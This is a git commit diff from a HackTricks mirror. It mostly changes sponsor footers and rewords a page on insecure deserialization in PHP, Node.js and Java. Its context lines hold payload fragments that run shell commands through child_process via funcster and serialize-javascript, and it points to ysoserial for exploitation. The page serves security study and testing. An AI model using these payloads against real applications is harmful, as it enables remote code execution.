mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
a
This commit is contained in:
parent
5c23ce2893
commit
47cd62fb61
24 changed files with 566 additions and 918 deletions
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -81,7 +81,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -136,7 +136,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -109,7 +109,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -219,7 +219,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -158,7 +158,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -125,7 +125,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -81,7 +81,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -193,7 +193,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -70,7 +70,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -13,27 +13,27 @@ Other ways to support HackTricks:
|
|||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
**Serialization** is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.
|
||||
|
||||
**Deserialization** is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.
|
||||
|
||||
In many occasions you can find some code in the server side that unserialize some object given by the user.\
|
||||
In this case, you can send a malicious payload to make the server side behave unexpectedly.
|
||||
## Basic Information
|
||||
|
||||
**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state.
|
||||
|
||||
**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object.
|
||||
|
||||
Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process.
|
||||
|
||||
**You should read:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **for learn how to attack.**
|
||||
|
||||
## PHP
|
||||
|
||||
Magic method used with serialization:
|
||||
In PHP, specific magic methods are utilized during the serialization and deserialization processes:
|
||||
|
||||
* `__sleep` is called when an object is serialized and must be returned to array
|
||||
* `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks.
|
||||
* `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.
|
||||
* `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`.
|
||||
* `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections.
|
||||
* `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object.
|
||||
|
||||
Magic method used with deserialization
|
||||
|
||||
* `__wakeup` is called when an object is deserialized.
|
||||
* `__unserialize` is called instead of `__wakeup` if it exists.
|
||||
* `__destruct` is called when PHP script end and object is destroyed.
|
||||
* `__toString` uses object as string but also can be used to read file or more than that based on function call inside it.
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
@ -94,10 +94,10 @@ This is a test<br />
|
|||
If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
`The method`` `**`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
|
||||
The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.
|
||||
|
||||
```php
|
||||
phpCopy codeclass MyClass {
|
||||
class MyClass {
|
||||
private $property;
|
||||
|
||||
public function __unserialize(array $data): void {
|
||||
|
@ -277,9 +277,9 @@ You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-
|
|||
|
||||
### [funcster](https://www.npmjs.com/package/funcster)
|
||||
|
||||
The interesting difference here is that the **standard built-in objects are not accessible**, because they are out of scope. It means that we can execute our code, but cannot call build-in objects’ methods. So if we use `console.log()` or `require(something)`, Node returns an exception like `"ReferenceError: console is not defined"`.
|
||||
A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used.
|
||||
|
||||
However, we can easily can get back access to everything because we still have access to the global context using something like `this.constructor.constructor("console.log(1111)")();`:
|
||||
Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet:
|
||||
|
||||
```javascript
|
||||
funcster = require("funcster");
|
||||
|
@ -296,11 +296,11 @@ var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child
|
|||
funcster.deepDeserialize(desertest3)
|
||||
```
|
||||
|
||||
**For**[ **more information read this page**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
The package **doesn’t include any deserialization functionalit**y and requires you to implement it yourself. Their example uses `eval` directly. This is the official deserialisation example:
|
||||
The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data:
|
||||
|
||||
```javascript
|
||||
function deserialize(serializedJavascript){
|
||||
|
@ -321,6 +321,8 @@ var test = "function(){ require('child_process').exec('ls /', function(error, st
|
|||
deserialize(test)
|
||||
```
|
||||
|
||||
**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||||
|
||||
### Cryo library
|
||||
|
||||
In the following pages you can find information about how to abuse this library to execute arbitrary commands:
|
||||
|
@ -330,33 +332,36 @@ In the following pages you can find information about how to abuse this library
|
|||
|
||||
## Java - HTTP
|
||||
|
||||
The main problem with deserialized objects in Java is that **deserialization callbacks were invoked during deserialization**. This makes possible for an **attacker** to **take advantage of that callbacks** and prepare a payload that abuses the callbacks to **perform malicious actions**.
|
||||
In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.
|
||||
|
||||
### Fingerprints
|
||||
|
||||
#### White Box
|
||||
|
||||
Search inside the code for serialization classes and function. For example, search for classes implementing `Serializable` , the use of `java.io.ObjectInputStream` \_\_ or `readObject` \_\_ or `readUnshare` functions\_.\_
|
||||
To identify potential serialization vulnerabilities in the codebase search for:
|
||||
|
||||
You should also keep an eye on:
|
||||
* Classes that implement the `Serializable` interface.
|
||||
* Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions.
|
||||
|
||||
* `XMLdecoder` with external user defined parameters
|
||||
* `XStream` with `fromXML` method (xstream version <= v1.46 is vulnerable to the serialization issue)
|
||||
* `ObjectInputStream` with `readObject`
|
||||
* Uses of `readObject`, `readObjectNodData`, `readResolve` or `readExternal`
|
||||
* `ObjectInputStream.readUnshared`
|
||||
* `Serializable`
|
||||
Pay extra attention to:
|
||||
|
||||
* `XMLDecoder` utilized with parameters defined by external users.
|
||||
* `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
|
||||
* `ObjectInputStream` coupled with the `readObject` method.
|
||||
* Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`.
|
||||
* `ObjectInputStream.readUnshared`.
|
||||
* General use of `Serializable`.
|
||||
|
||||
#### Black Box
|
||||
|
||||
**Fingerprints/Magic Bytes** of **java serialised** objects (from `ObjectInputStream`):
|
||||
For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`):
|
||||
|
||||
* `AC ED 00 05` in Hex
|
||||
* `rO0` in Base64
|
||||
* `Content-type` header of an HTTP response set to `application/x-java-serialized-object`
|
||||
* `1F 8B 08 00` Hex previously compressed
|
||||
* `H4sIA` Base64 previously compressed
|
||||
* Web files with extension `.faces` and `faces.ViewState` parameter. If you find this in a wabapp, take a look to the [**post about Java JSF VewState Deserialization**](java-jsf-viewstate-.faces-deserialization.md).
|
||||
* Hexadecimal pattern: `AC ED 00 05`.
|
||||
* Base64 pattern: `rO0`.
|
||||
* HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
|
||||
* Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
|
||||
* Base64 pattern indicating prior compression: `H4sIA`.
|
||||
* Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
|
||||
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
|
@ -383,13 +388,13 @@ When running **gadgetinspector** (after building it) don't care about the tons o
|
|||
|
||||
Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\
|
||||
[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe is focused on \*\* `ObjectInputStream` \*\* deserializations\*\*.\*\*
|
||||
GadgetProbe is focused on **`ObjectInputStream` deserializations**.
|
||||
|
||||
Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\
|
||||
[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
